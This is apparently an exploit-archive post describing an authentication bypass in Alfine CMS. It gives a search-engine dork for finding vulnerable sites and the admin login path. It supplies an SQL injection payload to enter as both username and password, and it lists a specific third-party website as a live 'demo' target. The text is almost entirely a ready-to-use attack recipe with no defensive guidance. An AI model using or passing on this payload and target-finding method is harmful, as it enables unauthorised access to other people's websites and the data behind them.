###################### # Exploit Title : Alfine CMS Admin Page Bypass # Exploit Author : mr_mask_black # Vendor Homepage : http://alfinesolutions.com # Google Dork : intext:"Developed by ALFiNE IT Solutions" # Date: 2016/6/26 # Tested On : win 7 # Contact:mr_mask_black@yahoo.com ###################### # Vulnerable File : index.php # Describe : Search dork and select Target. Put admin/index.php After url such as : # http://site.com/admin/index.php # Now enter fill Gebruikersnaam(username) and Wachtwoord(Password) like the information below : # Username: '=' 'OR' # Password: '=' 'OR' # # OK :) # # Demo : # http://www.otbt.in/admin/index.php # # # ###################### # discovered by : mr_mask_black ###################### # thanks to :| sir.hamid || king of peace || p[E]ym[A]n | mahyar | kian error | king dawn | and all friends ... ######################